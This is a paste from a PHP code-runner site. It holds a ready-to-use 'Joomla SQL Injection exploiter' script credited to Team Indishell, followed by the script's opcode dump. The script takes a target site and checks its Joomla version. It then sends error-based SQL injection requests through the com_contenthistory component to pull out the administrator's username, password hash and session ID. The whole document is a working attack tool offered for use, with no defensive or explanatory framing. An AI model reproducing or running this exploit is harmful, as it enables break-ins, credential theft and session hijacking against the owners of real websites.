3v4l.org

run code in 300+ PHP versions simultaneously
<?php error_reporting(0); set_time_limit(0); $head = ' <html> <head> <link href="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTLfLXmLeMSTt0jOXREfgvdp8IYWnE9_t49PpAiJNvwHTqnKkL4" rel="icon" type="image/x-icon"/> </script> <title>--==[[Mannu joomla SQL Injection exploiter by Team Indishell]]==--</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <STYLE> body { font-family: Tahoma; color: white; background: #444444; } input { border : solid 2px ; border-color : black; BACKGROUND-COLOR: #444444; font: 8pt Verdana; color: white; } submit { BORDER: buttonhighlight 2px outset; BACKGROUND-COLOR: Black; width: 30%; color: #FFF; } #t input[type=\'submit\']{ COLOR: White; border:none; BACKGROUND-COLOR: black; } #t input[type=\'submit\']:hover { BACKGROUND-COLOR: #ff9933; color: black; } tr { BORDER: dashed 1px #333; color: #FFF; } td { BORDER: dashed 0px ; } .table1 { BORDER: 0px Black; BACKGROUND-COLOR: Black; color: #FFF; } .td1 { BORDER: 0px; BORDER-COLOR: #333333; font: 7pt Verdana; color: Green; } .tr1 { BORDER: 0px; BORDER-COLOR: #333333; color: #FFF; } table { BORDER: dashed 2px #333; BORDER-COLOR: #333333; BACKGROUND-COLOR: #191919;; color: #FFF; } textarea { border : dashed 2px #333; BACKGROUND-COLOR: Black; font: Fixedsys bold; color: #999; } A:link { border: 1px; COLOR: red; TEXT-DECORATION: none } A:visited { COLOR: red; TEXT-DECORATION: none } A:hover { color: White; TEXT-DECORATION: none } A:active { color: white; TEXT-DECORATION: none } </STYLE> <script type="text/javascript"> <!-- function lhook(id) { var e = document.getElementById(id); if(e.style.display == \'block\') e.style.display = \'none\'; else e.style.display = \'block\'; } //--> </script> '; echo $head ; echo ' <table width="100%" cellspacing="0" cellpadding="0" class="tb1" > <td width="100%" align=center valign="top" rowspan="1"> <font color=#ff9933 size=5 face="comic sans ms"><b>--==[[ Mannu, Joomla </font><font color=white size=5 face="comic sans ms"><b>SQL Injection exploiter By Team </font><font color=green size=5 face="comic sans ms"><b> INDIShEll]]==--</font> <div class="hedr"> <td height="10" align="left" class="td1"></td></tr><tr><td width="100%" align="center" valign="top" rowspan="1"><font color="red" face="comic sans ms"size="1"><b> <font color=#ff9933> ##########################################</font><font color=white>#############################################</font><font color=green>#############################################</font><br><font color=white> -==[[Greetz to]]==--</font><br> <font color=#ff9933>Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indisHell,Baba ,Silent poison India,Magnum sniper,ethicalnoob IndisHell,Local root indisHell,Irfninja indisHell<br>Reborn India,L0rd Crus4d3r,cool toad,Hackuin,Alicks,Dinelson Amine,Th3 D3str0yer,SKSking,rad paul,Godzila,mike waals,zoo zoo,cyber warrior,Neo hacker ICA<br>cyber gladiator,7he Cre4t0r,Cyber Ace, Golden boy INDIA,Ketan Singh,Yash,Aneesh Dogra,AR AR,saad abbasi,hero,Minhal Mehdi ,Raj bhai ji , Hacking queen ,lovetherisk and rest of TEAM INDISHELL<br> <font color=white>--==[[Love to]]==--</font><br># My Father , my Ex Teacher,cold fire HaCker,Mannu, ViKi,Suriya Cyber Tyson ,Ashu bhai ji,Soldier Of God,almas malik, Bhuppi,Mohit, Ffe ^_^,Ashish,Shardhanand,Govind singh,Budhaoo,Don(Deepika kaushik) and acche bacchi(Jagriti) <br> <font color=white>--==[[Interface Desgined By]]==--</font><br><font color=red>GCE College ke DON :D</font> <br></font> <b> <font color=#ff9933> ##########################################</font><font color=white>#############################################</font><font color=green>#############################################</font> </table> </table> <br> '; ?> <div align=center> <form method=post> <input type=input name=in value=target> <input type=submit name=sm value="check version"> <?php function data($lu) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $lu); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); $result['EXE'] = curl_exec($ch); curl_close($ch); return $result['EXE']; } if(isset($_POST['sm'])) { $target=trim($_POST['in']); $finalurl=$target."/language/en-GB/en-GB.xml"; $data=file_get_contents($finalurl); $ar0=explode("<version>", $data); $ar1=explode("</version>", $ar0[1]); $ar=trim($ar1[0]); echo "<br>"; $v=explode(".",$ar); if($v[0]<=3) { //echo "<br><br> Joomla version is 3.*.*"; //echo "<br> yes yes >:D<, fas gaya billu "; echo "<br>click below button to exploit it :v <br><br>" ; echo "<form method=post><input type=hidden name=tar value=".$target.">"; echo "<input type=submit name=sm1 value=\"Chal billu, ghuma de soday ne xD\">"; } else{ echo "joomla version is below 3"; } } if(isset($_POST['sm1'])) { $tar=$_POST['tar']."/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select+1+from+(select+count(*),+concat((select+(select+concat(password))+from+icalab_users+LIMIT+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"; $dat=data($tar); $ar0=explode("LEFT JOIN", $dat); $ar1=explode("_users", $ar0[1]); $ar=trim($ar1[0]); $rt=str_replace("icalab",$ar,$tar); $tr=data($rt); $ar0=explode("Duplicate entry", $tr); $ar1=explode("for key", $ar0[1]); $rt2=str_replace("password","username,0x7e",$rt); $tr2=data($rt2); $ar2=explode("Duplicate entry", $tr2); $ar3=explode("for key", $ar2[1]); if($ar3[0]!='' && $ar1[0]!='') { echo "<br><br> Target gone 8-)<br><br>website name:- ".$_POST['tar']." <br>-------------------------------<br> <br>"; echo "username is --> ".str_replace("~1","",trim($ar3[0]))." <br>Password Hash is --> ".str_replace("~1","",trim($ar1[0])); echo "<br>Admin session ID is<br></div>"; $sessionid=$_POST['tar']."/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select+1+from+(select+count(*),+concat((select+(select+concat(session_id))+from+".$ar."_session+where+username='admin'+LIMIT+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)"; $ses=data($sessionid); $ar0=explode("Duplicate entry", $ses); $ar1=explode("for key", $ar0[1]); echo trim($ar1[0]); } } ?> <!-- 3.2.* to 3.4.4 -->
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 57
Branch analysis from position: 13
2 jumps found. (Code = 43) Position 1 = 50, Position 2 = 56
Branch analysis from position: 50
1 jumps found. (Code = 42) Position 1 = 57
Branch analysis from position: 57
2 jumps found. (Code = 43) Position 1 = 60, Position 2 = 187
Branch analysis from position: 60
2 jumps found. (Code = 46) Position 1 = 129, Position 2 = 132
Branch analysis from position: 129
2 jumps found. (Code = 43) Position 1 = 133, Position 2 = 187
Branch analysis from position: 133
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 187
Branch analysis from position: 132
Branch analysis from position: 187
Branch analysis from position: 56
2 jumps found. (Code = 43) Position 1 = 60, Position 2 = 187
Branch analysis from position: 60
Branch analysis from position: 187
Branch analysis from position: 57
filename:       /in/ppf0e
function name:  (null)
number of ops:  189
compiled vars:  !0 = $head, !1 = $target, !2 = $finalurl, !3 = $data, !4 = $ar0, !5 = $ar1, !6 = $ar, !7 = $v, !8 = $tar, !9 = $dat, !10 = $rt, !11 = $tr, !12 = $rt2, !13 = $tr2, !14 = $ar2, !15 = $ar3, !16 = $sessionid, !17 = $ses
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   INIT_FCALL                                               'error_reporting'
          1        SEND_VAL                                                 0
          2        DO_ICALL                                                 
    4     3        INIT_FCALL                                               'set_time_limit'
          4        SEND_VAL                                                 0
          5        DO_ICALL                                                 
    6     6        ASSIGN                                                   !0, '%0A%3Chtml%3E%0A%3Chead%3E%0A%3Clink+href%3D%22https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTLfLXmLeMSTt0jOXREfgvdp8IYWnE9_t49PpAiJNvwHTqnKkL4%22+rel%3D%22icon%22+type%3D%22image%2Fx-icon%22%2F%3E%0A%3C%2Fscript%3E%0A%3Ctitle%3E--%3D%3D%5B%5BMannu+joomla+SQL+Injection+exploiter+by+Team+Indishell%5D%5D%3D%3D--%3C%2Ftitle%3E%0A%3Cmeta+http-equiv%3D%22Content-Type%22+content%3D%22text%2Fhtml%3B+charset%3DUTF-8%22%3E%0A%0A%3CSTYLE%3E%0Abody+%7B%0Afont-family%3A+Tahoma%3B%0Acolor%3A+white%3B%0Abackground%3A+%23444444%3B%0A%7D%0A%0Ainput+%7B%0Aborder%09%09%09%3A+solid+2px+%3B%0Aborder-color%09%09%3A+black%3B%0ABACKGROUND-COLOR%3A+%23444444%3B%0Afont%3A+8pt+Verdana%3B%0A%0Acolor%3A+white%3B%0A%7D%0A%0Asubmit+%7B%0ABORDER%3A++buttonhighlight+2px+outset%3B%0ABACKGROUND-COLOR%3A+Black%3B%0Awidth%3A+30%25%3B%0Acolor%3A+%23FFF%3B%0A%7D%0A%0A%23t+input%5Btype%3D%27submit%27%5D%7B%0A%09COLOR%3A+White%3B%0A%09border%3Anone%3B%0A%09BACKGROUND-COLOR%3A+black%3B%0A%7D%0A%0A%23t+input%5Btype%3D%27submit%27%5D%3Ahover+%7B%0A%09%0A%09BACKGROUND-COLOR%3A+%23ff9933%3B%0A%09color%3A+black%3B%0A%09%0A%7D%0Atr+%7B%0ABORDER%3A+dashed+1px+%23333%3B%0Acolor%3A+%23FFF%3B%0A%7D%0Atd+%7B%0ABORDER%3A+dashed+0px+%3B%0A%7D%0A.table1+%7B%0ABORDER%3A+0px+Black%3B%0ABACKGROUND-COLOR%3A+Black%3B%0Acolor%3A+%23FFF%3B%0A%7D%0A.td1+%7B%0ABORDER%3A+0px%3B%0ABORDER-COLOR%3A+%23333333%3B%0Afont%3A+7pt+Verdana%3B%0Acolor%3A+Green%3B%0A%7D%0A.tr1+%7B%0ABORDER%3A+0px%3B%0ABORDER-COLOR%3A+%23333333%3B%0Acolor%3A+%23FFF%3B%0A%7D%0Atable+%7B%0ABORDER%3A+dashed+2px+%23333%3B%0ABORDER-COLOR%3A+%23333333%3B%0ABACKGROUND-COLOR%3A+%23191919%3B%3B%0Acolor%3A+%23FFF%3B%0A%7D%0Atextarea+%7B%0Aborder%09%09%09%3A+dashed+2px+%23333%3B%0ABACKGROUND-COLOR%3A+Black%3B%0Afont%3A+Fixedsys+bold%3B%0Acolor%3A+%23999%3B%0A%7D%0AA%3Alink+%7B%0Aborder%3A+1px%3B%0A%09COLOR%3A+red%3B+TEXT-DECORATION%3A+none%0A%7D%0AA%3Avisited+%7B%0A%09COLOR%3A+red%3B+TEXT-DECORATION%3A+none%0A%7D%0AA%3Ahover+%7B%0A%09color%3A+White%3B+TEXT-DECORATION%3A+none%0A%7D%0AA%3Aactive+%7B%0A%09color%3A+white%3B+TEXT-DECORATION%3A+none%0A%7D%0A%3C%2FSTYLE%3E%0A%3Cscript+type%3D%22text%2Fjavascript%22%3E%0A%3C%21--%0A++++function+lhook%28id%29+%7B%0A+++++++var+e+%3D+document.getElementById%28id%29%3B%0A+++++++if%28e.style.display+%3D%3D+%27block%27%29%0A++++++++++e.style.display+%3D+%27none%27%3B%0A+++++++else%0A++++++++++e.style.display+%3D+%27block%27%3B%0A++++%7D%0A%2F%2F--%3E%0A%3C%2Fscript%3E%0A'
  113     7        ECHO                                                     !0
  114     8        ECHO                                                     '%0A%0A%3Ctable+width%3D%22100%25%22+cellspacing%3D%220%22+cellpadding%3D%220%22+class%3D%22tb1%22+%3E%0A%0A%09%09%09%0A%0A+++++++%3Ctd+width%3D%22100%25%22+align%3Dcenter+valign%3D%22top%22+rowspan%3D%221%22%3E%0A+++++++++++%3Cfont+color%3D%23ff9933+size%3D5+face%3D%22comic+sans+ms%22%3E%3Cb%3E--%3D%3D%5B%5B+Mannu%2C+Joomla+%3C%2Ffont%3E%3Cfont+color%3Dwhite+size%3D5+face%3D%22comic+sans+ms%22%3E%3Cb%3ESQL+Injection+exploiter+By+Team+%3C%2Ffont%3E%3Cfont+color%3Dgreen+size%3D5+face%3D%22comic+sans+ms%22%3E%3Cb%3E+INDIShEll%5D%5D%3D%3D--%3C%2Ffont%3E+%3Cdiv+class%3D%22hedr%22%3E+%0A%0A++++++++%3Ctd+height%3D%2210%22+align%3D%22left%22+class%3D%22td1%22%3E%3C%2Ftd%3E%3C%2Ftr%3E%3Ctr%3E%3Ctd+%0A++++++++width%3D%22100%25%22+align%3D%22center%22+valign%3D%22top%22+rowspan%3D%221%22%3E%3Cfont+%0A++++++++color%3D%22red%22+face%3D%22comic+sans+ms%22size%3D%221%22%3E%3Cb%3E+%0A++++++++%3Cfont+color%3D%23ff9933%3E+%0A++++++++%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%3Cfont+color%3Dwhite%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%3Cfont+color%3Dgreen%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%3Cbr%3E%3Cfont+color%3Dwhite%3E%0A++++++++-%3D%3D%5B%5BGreetz+to%5D%5D%3D%3D--%3C%2Ffont%3E%3Cbr%3E+%3Cfont+color%3D%23ff9933%3EGuru+ji+zero+%2Ccode+breaker+ica%2C+root_devil%2C+google_warrior%2CINX_r0ot%2CDarkwolf+indisHell%2CBaba+%2CSilent+poison+India%2CMagnum+sniper%2Cethicalnoob+IndisHell%2CLocal+root+indisHell%2CIrfninja+indisHell%3Cbr%3EReborn+India%2CL0rd+Crus4d3r%2Ccool+toad%2CHackuin%2CAlicks%2CDinelson+Amine%2CTh3+D3str0yer%2CSKSking%2Crad+paul%2CGodzila%2Cmike+waals%2Czoo+zoo%2Ccyber+warrior%2CNeo+hacker+ICA%3Cbr%3Ecyber+gladiator%2C7he+Cre4t0r%2CCyber+Ace%2C+Golden+boy+INDIA%2CKetan+Singh%2CYash%2CAneesh+Dogra%2CAR+AR%2Csaad+abbasi%2Chero%2CMinhal+Mehdi+%2CRaj+bhai+ji+%2C+Hacking+queen+%2Clovetherisk+and+rest+of+TEAM+INDISHELL%3Cbr%3E%0A%3Cfont+color%3Dwhite%3E--%3D%3D%5B%5BLove+to%5D%5D%3D%3D--%3C%2Ffont%3E%3Cbr%3E%23+My+Father+%2C+my+Ex+Teacher%2Ccold+fire+HaCker%2CMannu%2C+ViKi%2CSuriya+Cyber+Tyson+%2CAshu+bhai+ji%2CSoldier+Of+God%2Calmas+malik%2C+Bhuppi%2CMohit%2C+Ffe+%5E_%5E%2CAshish%2CShardhanand%2CGovind+singh%2CBudhaoo%2CDon%28Deepika+kaushik%29+and+acche+bacchi%28Jagriti%29+%3Cbr%3E%0A%3Cfont+color%3Dwhite%3E--%3D%3D%5B%5BInterface+Desgined+By%5D%5D%3D%3D--%3C%2Ffont%3E%3Cbr%3E%3Cfont+color%3Dred%3EGCE+College+ke+DON+%3AD%3C%2Ffont%3E++++++++%3Cbr%3E%3C%2Ffont%3E%0A++++++++%3Cb%3E+%0A++++++++%3Cfont+color%3D%23ff9933%3E+%0A++++++++%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%3Cfont+color%3Dwhite%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%3Cfont+color%3Dgreen%3E%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%23%3C%2Ffont%3E%0A%09%09%09%09%09%09%0A+++++++++++%3C%2Ftable%3E%0A+++++++%3C%2Ftable%3E+%3Cbr%3E%0A%0A'
  140     9        ECHO                                                     '%3Cdiv+align%3Dcenter%3E%0A%3Cform+method%3Dpost%3E%0A%3Cinput+type%3Dinput+name%3Din+value%3Dtarget%3E%0A%3Cinput+type%3Dsubmit+name%3Dsm+value%3D%22check+version%22%3E%0A%0A'
  164    10        FETCH_IS                                         ~21     '_POST'
         11        ISSET_ISEMPTY_DIM_OBJ                         0          ~21, 'sm'
         12      > JMPZ                                                     ~22, ->57
  166    13    >   INIT_FCALL                                               'trim'
         14        FETCH_R                      global              ~23     '_POST'
         15        FETCH_DIM_R                                      ~24     ~23, 'in'
         16        SEND_VAL                                                 ~24
         17        DO_ICALL                                         $25     
         18        ASSIGN                                                   !1, $25
  167    19        CONCAT                                           ~27     !1, '%2Flanguage%2Fen-GB%2Fen-GB.xml'
         20        ASSIGN                                                   !2, ~27
  169    21        INIT_FCALL                                               'file_get_contents'
         22        SEND_VAR                                                 !2
         23        DO_ICALL                                         $29     
         24        ASSIGN                                                   !3, $29
  170    25        INIT_FCALL                                               'explode'
         26        SEND_VAL                                                 '%3Cversion%3E'
         27        SEND_VAR                                                 !3
         28        DO_ICALL                                         $31     
         29        ASSIGN                                                   !4, $31
  171    30        INIT_FCALL                                               'explode'
         31        SEND_VAL                                                 '%3C%2Fversion%3E'
         32        FETCH_DIM_R                                      ~33     !4, 1
         33        SEND_VAL                                                 ~33
         34        DO_ICALL                                         $34     
         35        ASSIGN                                                   !5, $34
  172    36        INIT_FCALL                                               'trim'
         37        FETCH_DIM_R                                      ~36     !5, 0
         38        SEND_VAL                                                 ~36
         39        DO_ICALL                                         $37     
         40        ASSIGN                                                   !6, $37
  173    41        ECHO                                                     '%3Cbr%3E'
  174    42        INIT_FCALL                                               'explode'
         43        SEND_VAL                                                 '.'
         44        SEND_VAR                                                 !6
         45        DO_ICALL                                         $39     
         46        ASSIGN                                                   !7, $39
  177    47        FETCH_DIM_R                                      ~41     !7, 0
         48        IS_SMALLER_OR_EQUAL                                      ~41, 3
         49      > JMPZ                                                     ~42, ->56
  183    50    >   ECHO                                                     '%3Cbr%3Eclick+below+button+to+exploit+it+%3Av+%3Cbr%3E%3Cbr%3E'
  184    51        CONCAT                                           ~43     '%3Cform+method%3Dpost%3E%3Cinput+type%3Dhidden+name%3Dtar+value%3D', !1
         52        CONCAT                                           ~44     ~43, '%3E'
         53        ECHO                                                     ~44
  185    54        ECHO                                                     '%3Cinput+type%3Dsubmit+name%3Dsm1+value%3D%22Chal+billu%2C+ghuma+de+soday+ne+xD%22%3E'
  177    55      > JMP                                                      ->57
  191    56    >   ECHO                                                     'joomla+version+is+below+3'
  196    57    >   FETCH_IS                                         ~45     '_POST'
         58        ISSET_ISEMPTY_DIM_OBJ                         0          ~45, 'sm1'
         59      > JMPZ                                                     ~46, ->187
  199    60    >   FETCH_R                      global              ~47     '_POST'
         61        FETCH_DIM_R                                      ~48     ~47, 'tar'
         62        CONCAT                                           ~49     ~48, '%2Findex.php%3Foption%3Dcom_contenthistory%26view%3Dhistory%26list%5Bordering%5D%3D%26item_id%3D75%26type_id%3D1%26list%5Bselect%5D%3D%28select%2B1%2Bfrom%2B%28select%2Bcount%28%2A%29%2C%2Bconcat%28%28select%2B%28select%2Bconcat%28password%29%29%2Bfrom%2Bicalab_users%2BLIMIT%2B0%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x%2Bfrom%2Binformation_schema.tables%2Bgroup%2Bby%2Bx%29a%29'
         63        ASSIGN                                                   !8, ~49
  201    64        INIT_FCALL                                               'data'
         65        SEND_VAR                                                 !8
         66        DO_FCALL                                      0  $51     
         67        ASSIGN                                                   !9, $51
  202    68        INIT_FCALL                                               'explode'
         69        SEND_VAL                                                 'LEFT+JOIN'
         70        SEND_VAR                                                 !9
         71        DO_ICALL                                         $53     
         72        ASSIGN                                                   !4, $53
  203    73        INIT_FCALL                                               'explode'
         74        SEND_VAL                                                 '_users'
         75        FETCH_DIM_R                                      ~55     !4, 1
         76        SEND_VAL                                                 ~55
         77        DO_ICALL                                         $56     
         78        ASSIGN                                                   !5, $56
  204    79        INIT_FCALL                                               'trim'
         80        FETCH_DIM_R                                      ~58     !5, 0
         81        SEND_VAL                                                 ~58
         82        DO_ICALL                                         $59     
         83        ASSIGN                                                   !6, $59
  206    84        INIT_FCALL                                               'str_replace'
         85        SEND_VAL                                                 'icalab'
         86        SEND_VAR                                                 !6
         87        SEND_VAR                                                 !8
         88        DO_ICALL                                         $61     
         89        ASSIGN                                                   !10, $61
  207    90        INIT_FCALL                                               'data'
         91        SEND_VAR                                                 !10
         92        DO_FCALL                                      0  $63     
         93        ASSIGN                                                   !11, $63
  208    94        INIT_FCALL                                               'explode'
         95        SEND_VAL                                                 'Duplicate+entry'
         96        SEND_VAR                                                 !11
         97        DO_ICALL                                         $65     
         98        ASSIGN                                                   !4, $65
  209    99        INIT_FCALL                                               'explode'
        100        SEND_VAL                                                 'for+key'
        101        FETCH_DIM_R                                      ~67     !4, 1
        102        SEND_VAL                                                 ~67
        103        DO_ICALL                                         $68     
        104        ASSIGN                                                   !5, $68
  212   105        INIT_FCALL                                               'str_replace'
        106        SEND_VAL                                                 'password'
        107        SEND_VAL                                                 'username%2C0x7e'
        108        SEND_VAR                                                 !10
        109        DO_ICALL                                         $70     
        110        ASSIGN                                                   !12, $70
  213   111        INIT_FCALL                                               'data'
        112        SEND_VAR                                                 !12
        113        DO_FCALL                                      0  $72     
        114        ASSIGN                                                   !13, $72
  214   115        INIT_FCALL                                               'explode'
        116        SEND_VAL                                                 'Duplicate+entry'
        117        SEND_VAR                                                 !13
        118        DO_ICALL                                         $74     
        119        ASSIGN                                                   !14, $74
  215   120        INIT_FCALL                                               'explode'
        121        SEND_VAL                                                 'for+key'
        122        FETCH_DIM_R                                      ~76     !14, 1
        123        SEND_VAL                                                 ~76
        124        DO_ICALL                                         $77     
        125        ASSIGN                                                   !15, $77
  217   126        FETCH_DIM_R                                      ~79     !15, 0
        127        IS_NOT_EQUAL                                     ~80     ~79, ''
        128      > JMPZ_EX                                          ~80     ~80, ->132
        129    >   FETCH_DIM_R                                      ~81     !5, 0
        130        IS_NOT_EQUAL                                     ~82     ~81, ''
        131        BOOL                                             ~80     ~82
        132    > > JMPZ                                                     ~80, ->187
  219   133    >   FETCH_R                      global              ~83     '_POST'
        134        FETCH_DIM_R                                      ~84     ~83, 'tar'
        135        CONCAT                                           ~85     '%3Cbr%3E%3Cbr%3E+%09Target+gone+8-%29%3Cbr%3E%3Cbr%3Ewebsite+name%3A-+', ~84
        136        CONCAT                                           ~86     ~85, '+%3Cbr%3E-------------------------------%3Cbr%3E+%3Cbr%3E'
        137        ECHO                                                     ~86
  220   138        INIT_FCALL                                               'str_replace'
        139        SEND_VAL                                                 '%7E1'
        140        SEND_VAL                                                 ''
        141        INIT_FCALL                                               'trim'
        142        FETCH_DIM_R                                      ~87     !15, 0
        143        SEND_VAL                                                 ~87
        144        DO_ICALL                                         $88     
        145        SEND_VAR                                                 $88
        146        DO_ICALL                                         $89     
        147        CONCAT                                           ~90     'username+is+--%3E+', $89
        148        CONCAT                                           ~91     ~90, '+%3Cbr%3EPassword+Hash+is+--%3E+'
        149        INIT_FCALL                                               'str_replace'
        150        SEND_VAL                                                 '%7E1'
        151        SEND_VAL                                                 ''
        152        INIT_FCALL                                               'trim'
        153        FETCH_DIM_R                                      ~92     !5, 0
        154        SEND_VAL                                                 ~92
        155        DO_ICALL                                         $93     
        156        SEND_VAR                                                 $93
        157        DO_ICALL                                         $94     
        158        CONCAT                                           ~95     ~91, $94
        159        ECHO                                                     ~95
  221   160        ECHO                                                     '%3Cbr%3EAdmin+session+ID+is%3Cbr%3E%3C%2Fdiv%3E'
  222   161        FETCH_R                      global              ~96     '_POST'
        162        FETCH_DIM_R                                      ~97     ~96, 'tar'
        163        CONCAT                                           ~98     ~97, '%2Findex.php%3Foption%3Dcom_contenthistory%26view%3Dhistory%26list%5Bordering%5D%3D%26item_id%3D75%26type_id%3D1%26list%5Bselect%5D%3D%28select%2B1%2Bfrom%2B%28select%2Bcount%28%2A%29%2C%2Bconcat%28%28select%2B%28select%2Bconcat%28session_id%29%29%2Bfrom%2B'
        164        CONCAT                                           ~99     ~98, !6
        165        CONCAT                                           ~100    ~99, '_session%2Bwhere%2Busername%3D%27admin%27%2BLIMIT%2B0%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x%2Bfrom%2Binformation_schema.tables%2Bgroup%2Bby%2Bx%29a%29'
        166        ASSIGN                                                   !16, ~100
  224   167        INIT_FCALL                                               'data'
        168        SEND_VAR                                                 !16
        169        DO_FCALL                                      0  $102    
        170        ASSIGN                                                   !17, $102
  225   171        INIT_FCALL                                               'explode'
        172        SEND_VAL                                                 'Duplicate+entry'
        173        SEND_VAR                                                 !17
        174        DO_ICALL                                         $104    
        175        ASSIGN                                                   !4, $104
  226   176        INIT_FCALL                                               'explode'
        177        SEND_VAL                                                 'for+key'
        178        FETCH_DIM_R                                      ~106    !4, 1
        179        SEND_VAL                                                 ~106
        180        DO_ICALL                                         $107    
        181        ASSIGN                                                   !5, $107
  227   182        INIT_FCALL                                               'trim'
        183        FETCH_DIM_R                                      ~109    !5, 0
        184        SEND_VAL                                                 ~109
        185        DO_ICALL                                         $110    
        186        ECHO                                                     $110
  232   187    >   ECHO                                                     '%3C%21--+3.2.%2A+to+3.4.4+--%3E'
        188      > RETURN                                                   1

Function data:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/ppf0e
function name:  data
number of ops:  51
compiled vars:  !0 = $lu, !1 = $ch, !2 = $result
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  146     0  E >   RECV                                             !0      
  148     1        INIT_FCALL_BY_NAME                                       'curl_init'
          2        DO_FCALL                                      0  $3      
          3        ASSIGN                                                   !1, $3
  150     4        INIT_FCALL_BY_NAME                                       'curl_setopt'
          5        SEND_VAR_EX                                              !1
          6        FETCH_CONSTANT                                   ~5      'CURLOPT_URL'
          7        SEND_VAL_EX                                              ~5
          8        SEND_VAR_EX                                              !0
          9        DO_FCALL                                      0          
  151    10        INIT_FCALL_BY_NAME                                       'curl_setopt'
         11        SEND_VAR_EX                                              !1
         12        FETCH_CONSTANT                                   ~7      'CURLOPT_HEADER'
         13        SEND_VAL_EX                                              ~7
         14        SEND_VAL_EX                                              0
         15        DO_FCALL                                      0          
  152    16        INIT_FCALL_BY_NAME                                       'curl_setopt'
         17        SEND_VAR_EX                                              !1
         18        FETCH_CONSTANT                                   ~9      'CURLOPT_RETURNTRANSFER'
         19        SEND_VAL_EX                                              ~9
         20        SEND_VAL_EX                                              1
         21        DO_FCALL                                      0          
  153    22        INIT_FCALL_BY_NAME                                       'curl_setopt'
         23        SEND_VAR_EX                                              !1
         24        FETCH_CONSTANT                                   ~11     'CURLOPT_CONNECTTIMEOUT'
         25        SEND_VAL_EX                                              ~11
         26        SEND_VAL_EX                                              5
         27        DO_FCALL                                      0          
  154    28        INIT_FCALL_BY_NAME                                       'curl_setopt'
         29        SEND_VAR_EX                                              !1
         30        FETCH_CONSTANT                                   ~13     'CURLOPT_SSL_VERIFYPEER'
         31        SEND_VAL_EX                                              ~13
         32        SEND_VAL_EX                                              <false>
         33        DO_FCALL                                      0          
  155    34        INIT_FCALL_BY_NAME                                       'curl_setopt'
         35        SEND_VAR_EX                                              !1
         36        FETCH_CONSTANT                                   ~15     'CURLOPT_USERAGENT'
         37        SEND_VAL_EX                                              ~15
         38        SEND_VAL_EX                                              'Mozilla%2F5.0+%28Windows%3B+U%3B+Windows+NT+5.1%3B+en-US%3B+rv%3A1.9.0.8%29+Gecko%2F2009032609+Firefox%2F3.0.8'
         39        DO_FCALL                                      0          
  156    40        INIT_FCALL_BY_NAME                                       'curl_exec'
         41        SEND_VAR_EX                                              !1
         42        DO_FCALL                                      0  $18     
         43        ASSIGN_DIM                                               !2, 'EXE'
         44        OP_DATA                                                  $18
  157    45        INIT_FCALL_BY_NAME                                       'curl_close'
         46        SEND_VAR_EX                                              !1
         47        DO_FCALL                                      0          
  158    48        FETCH_DIM_R                                      ~20     !2, 'EXE'
         49      > RETURN                                                   ~20
  161    50*     > RETURN                                                   null

End of function data

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
202.16 ms | 1496 KiB | 23 Q